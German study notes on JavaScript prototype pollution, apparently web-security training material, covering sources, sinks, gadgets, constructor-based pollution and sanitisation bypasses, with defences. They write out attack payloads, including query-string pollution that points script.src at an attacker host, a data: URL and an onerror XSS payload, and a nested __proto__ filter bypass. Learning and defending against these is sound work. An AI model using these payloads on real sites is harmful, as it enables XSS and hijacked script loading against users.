Skip to content

2. Schwachstellen & Lösungen

Was passiert bei Prototype-Pollution – ganz simpel

  • Stell dir vor, alle JS-Objekte bekommen ihre Fähigkeiten aus einem gemeinsamen Bauplan (dem Prototype).
  • Ein Angreifer schickt dir Daten (z. B. per URL oder JSON), in denen heimlich ein spezieller Schlüssel steckt: __proto__.
  • Deine App merged diese Daten rekursiv in ein bestehendes Objekt – ohne vorher die Schlüssel zu prüfen.
  • Weil __proto__ in JS magisch ist, landet das, was darunter steht, nicht im normalen Objekt, sondern im Bauplan (Prototype).
  • Ergebnis: Alle Objekte erben plötzlich diese neuen (bösen) Eigenschaften → unerwartetes Verhalten, XSS, RCE-Ketten usw.

Erfolgreiche Ausnutzung von Prototype-Pollution erfordert im Wesentlichen: - Quelle (source): Eine Eingabe, die es erlaubt, Prototypen mit beliebigen Properties zu vergiften. - Senke (sink): Eine JS-Funktion oder ein DOM-Element, das beliebige Codeausführung ermöglicht. - Gadget: Eine Property, die ungefiltert in eine Senke fließt.

Wie verhindert man das?

  • Gefährliche Schlüssel blocken (egal wie tief): __proto__, prototype, constructor.
  • Schema prüfen (Ajv) und additionalProperties: false.
  • Sicher mergen (bewährte Library mit Proto-Schutz oder eigener Guard):

Prototype-Pollution-Quellen

Eine Quelle ist jede benutzerkontrollierte Eingabe, die erlaubt, beliebige Properties zu Prototypen hinzuzufügen. Häufige Quellen sind:

  • Die URL über Query-String oder Fragment (Hash)
  • JSON-basierte Eingaben
  • Web Messages (postMessage)

Prototype-Pollution über die URL

Betrachte folgende URL mit einem vom Angreifer konstruierten Query-String:

https://vulnerable-website.com/?__proto__[evilProperty]=payload

{
    existingProperty1: 'foo',
    existingProperty2: 'bar',
    __proto__: {
        evilProperty: 'payload'
    }
}
targetObject.__proto__.evilProperty = 'payload'

Prototype-Pollution über JSON

Benutzerkontrollierte Objekte werden oft aus einem JSON-String mit JSON.parse() erzeugt. Spannend: JSON.parse() behandelt jeden Key als ganz normalen String – auch __proto__. Dadurch entsteht ein weiterer Angriffsvektor für Prototype Pollution.

Beispiel: Ein Angreifer schickt (z. B. per Web Message) dieses JSON:

{
  "__proto__": {
    "evilProperty": "payload"
  }
}

Wird das mit JSON.parse() in ein Objekt umgewandelt, enthält das Ergebnis tatsächlich eine eigene Property mit dem Key __proto__:

const objectLiteral = { __proto__: { evilProperty: 'payload' } };
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');

objectLiteral.hasOwnProperty('__proto__');     // false
objectFromJson.hasOwnProperty('__proto__');    // true

Wenn dieses per JSON.parse() erzeugte Objekt anschließend ohne Key-Sanitizing in ein bestehendes Objekt gemerged wird, führt das – wie beim URL-Beispiel – zur Prototype Pollution: Die verschachtelten Properties landen beim Prototyp (z. B. Object.prototype) statt beim Zielobjekt.

Prototype pollution sinks

Ein Sink ist eine JavaScript-Funktion oder ein DOM-Element, das du indirekt über Prototype Pollution beeinflussen kannst - und über das sich dann beliebiger JS-Code (client-seitig) oder sogar Systembefehle (server-seitig, z. B. Node.js) ausführen lassen. Da Prototype Pollution dir Zugriff auf sonst unerreichbare Eigenschaften gibt, kommst du unter Umständen an zusätzliche Sinks in der Ziel-App heran. Entwickler, die das Risiko nicht kennen, halten diese Properties oft für nicht benutzerkontrollierbar – entsprechend gibt es kaum Filterung/Sanitizing.

Typische Beispiele (ohne Exploit-Details): - Client (DOM/XSS): innerHTML, outerHTML, document.write, unsichere Template-Renderer, jQuery-APIs wie .html(), dynamische Event-Handler. - Allgemeines JS: dynamische Ausführung über Function(...), setTimeout("...") (String-Variante), gefährliche Template-Interpolation. - Server (Node.js): Konfig-Flags/Optionen, die zu Command-Execution oder Pfad-Manipulation führen können (z. B. wenn Libraries intern Shell/FS-Operationen anhand von Options-Properties ausführen).

[!tip]- In Dumm erklärt: Was ist ein Sink? Ein Sink ist einfach eine gefährliche Stelle/Operation, die problematisch wird, wenn angreiferkontrollierte Daten hineinfließen. Das kann eine JS-Funktion, ein DOM-API, ein Template-Renderer, ein Dateipfad-Joiner, etc. sein.

Warum passt Prototype Pollution dazu?
Durch Prototype Pollution kannst du sonst interne/„unsteuerbare“ Properties beeinflussen. Wenn der Code diese Property in einen Sink steckt, passiert der Schaden (z. B. DOM XSS oder sogar RCE in Node). Die Ausführung wirkt „intern“, weil sie im Kontext der Anwendung läuft (Rechte/Cookies/Origin), nicht im fremden Tab.

Prototype pollution gadgets

Ein Gadget ist eine Property, mit der sich eine Prototype-Pollution in einen echten Exploit verwandeln lässt. Damit etwas ein Gadget ist, müssen beide Punkte gelten: 1. Unsichere Nutzung: Die Property wird später gefährlich verwendet (z. B. ungefiltert an einen Sink wie innerHTML, Function, Dateipfad-Join, etc. übergeben). 2. Angreifer-kontrollierbar: Das betroffene Objekt erbt die Property über den Prototyp (also nicht lokal definiert), sodass der Angreifer ihren Wert via Pollution setzen kann.

Idee

  • Eine Library liest Optionen aus config.
  • Wenn config.transport_url nicht gesetzt ist, nimmt sie einen Default: let transport_url = config.transport_url || defaults.transport_url;

  • Später lädt sie damit ein Script: let script = document.createElement('script'); script.src = `${transport_url}/example.js`; document.body.appendChild(script);

Wo ist das Gadget?

  • Gadget-Property: transport_url
  • Wenn config keine eigene transport_url-Property hat, erbt es die vom Prototype.
  • Prototype Pollution kann per URL passieren: https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net → Dann wird script.src zu //evil-user.net/example.js (oder was der Angreifer will).

Direktes XSS per data:-URL

  • Statt einer Domain kann der Angreifer eine data:-URL setzen, die sofort Code ausführt: https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//
  • Das // am Ende kommentiert den fest eingebauten Suffix /example.js weg.

Warum funktioniert’s?

  • config.transport_url ist nicht definiert → Ausdruck nutzt linke Seite (falsy) und fällt auf defaults zurück…
    ABER: durch Pollution existiert geerbtes transport_url → wird als wahr gewertet und genutzt.
  • Ergebnis: Fremde URL landet in script.src (Sink) → fremdes Script/XSS.

Fix (kurz)

  • Nur eigene Properties akzeptieren: const hasOwn = Object.hasOwn(config, 'transport_url'); let transport_url = hasOwn ? config.transport_url : defaults.transport_url;
  • Oder config als Null-Prototyp anlegen: const config = Object.create(null);
  • Beim Merge Proto-Keys blocken: __proto__, prototype, constructor.

Client-seitige Prototype-Pollution: Quellen finden (manuell)

Ziel: Irgendeine Property auf Object.prototype einschleusen. 1. Payloads ausprobieren (Query, Hash, JSON):

https://vulnerable-website.com/?__proto__[foo]=bar
https://vulnerable-website.com/?__proto__.foo=bar

  1. Im Browser-Console prüfen:
    Object.prototype.foo
    // "bar"  → Erfolg
    // undefined → nicht geklappt
    
  2. Varianten testen
  3. Punkt- vs. Klammer-Notation wechseln
  4. Andere Eingabepfade: location.hash, postMessage/Web-Messages, JSON‐Bodies
  5. (Falls nix klappt: später via constructor probieren.)

Mit DOM Invader (Burp eingebauter Browser)

Manuelles Probieren ist zäh. DOM Invader testet während des Surfens automatisch auf Prototype-Pollution-Quellen und spart massiv Zeit.

Gadgets finden (manuell)

Wenn du eine Quelle hast (du kannst Properties in Object.prototype schreiben), suche nach Gadgets (Properties, die unsicher genutzt werden und in einen Sink laufen).

Vorgehen: 1. JS-Code sichten (App + Drittbibliotheken): welche Properties werden genutzt? 2. In Burp: Proxy → Options → Intercept server responses aktivieren und die Response mit dem Ziel-Script abfangen. 3. debugger; am Anfang des Scripts einfügen, dann Requests/Responses durchlassen. 4. Seite laden → Ausführung pausiert. In der Console Property-Hook setzen (ersetze YOUR-PROPERTY):

Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
  get() {
    console.trace();
    return 'polluted';
  }
});
→ Fügt die Property global hinzu; jede Nutzung loggt einen Stacktrace.

  1. Weiterlaufen lassen und Console beobachten. Erscheint ein Stacktrace, wird die Property irgendwo gelesen.
  2. Zum Code springen (Link im Trace) und step-by-step prüfen, ob der Wert in einen Sink wandert (innerHTML, eval, Function, etc.).
  3. Für weitere Verdachts-Properties wiederholen.

Gadgets mit DOM Invader

DOM Invader kann automatisch nach Gadgets scannen und teils sogar eine DOM-XSS-PoC erzeugen. Ergebnis: Minuten statt Stunden.

Mini-Cheat-Sheet

Quellen testen

?__proto__[x]=y
?__proto__.x=y
# und via JSON / postMessage

Erfolg prüfen

Object.prototype.x // y?

Gadget-Probe

Object.defineProperty(Object.prototype, 'template', {
  get(){ console.trace();
  return '<img src=x onerror=alert(1)>'}
});
Typische Sinks - DOM: innerHTML, outerHTML, document.write, unsichere Templating-APIs - JS: eval, new Function, setTimeout("...") (String) - Node/Server: Pfad-/Command-Aufrufe über unsichere Optionen

Abwehr kurz - Proto-Keys blocken: __proto__, prototype, constructor (rekursiv) - Nur eigene Properties nutzen: Object.hasOwn(obj, key) - Null-Prototype für Config/Dicts: Object.create(null) - Kein ungefiltertes Deep-Merge von Query/Hash/JSON.

Prototype pollution via the constructor

Warum überhaupt?

Viele Fixes filtern nur den Key __proto__ raus. Aber es gibt eine zweite Tür zu Object.prototype:

irgendeinObjekt.constructor.prototype  // == Object.prototype (bei normalen Objekten)

Heißt: selbst wenn __proto__ blockiert ist, kannst du oft noch über constructor.prototype an das Prototyp-Objekt ran.

Wie wird’s ausgenutzt?

Angriffsidee: Eine unsichere deep-merge Funktion, die rekursiv Schlüssel aus einem User-Objekt in ein Zielobjekt kopiert.

Beispiel-Payload (z. B. als JSON geliefert):

{
  "constructor": {
    "prototype": {
      "polluted": "yes"
    }
  }
}

Pseudo-Merge (typisch unsicher):

function merge(target, src) {
  for (const k in src) {
    if (isObject(src[k]) && isObject(target[k])) {
      // ⚠️ Achtung: target["constructor"] ist eine *Funktion* (Object),
      // und Funktionen sind in JS auch Objekte → wird rein gemerged!
      merge(target[k], src[k]);
    } else {
      target[k] = src[k];
    }
  }
}

Was passiert Schritt für Schritt?

  1. target ist z. B. {}.
  2. Der Key constructor existiert bereits auf {} (geerbt), und ist die Funktion Object.
  3. merge sieht: src.constructor ist ein Objekt und target.constructor ist (eine Funktion ⇒) „objektartig“ → rekursiv rein.
  4. Nächste Ebene: prototype. Bei der Funktion Object ist prototype genau Object.prototype.
  5. Wieder rekursiv: polluted = "yes" wird auf Object.prototype.polluted geschrieben.
  6. Danach hat jedes normale Objekt die Eigenschaft: ({}).polluted === "yes" // true

Du hast also global den Prototyp „vergiftet“.

Bypassing flawed key sanitization

Ein obvious Way sich gegen prototype Pollution abzusichern ist es die property keys zu sanitizen bevor die gemerged werden - Oft scheitern Entwickler aber daran das rekursiv zu sanitizen. z. B. vulnerable-website.com/?__pro__proto__to__.gadget=payload

wenn man jetzt __proto__ ohne Wiederholung bereinigt, bringt das rein gar nichts weil durch die Zusammenstellung sich ein neues __proto__ bildet.

Prototype pollution in external libraries

Bei Fremdlibs steckt die Pollution-Quelle (Source) oder der Gadget-Sink im Code, den du nicht kontrollierst (z. B. Deep-Merge-Utils, Settings-Parser, Templating, i18n, Feature-Flags, uvm.).

Man brauchst also ein Tool, das alle Pfade abklappert(Burp DOM Invader) - händisch übersieht man leicht was.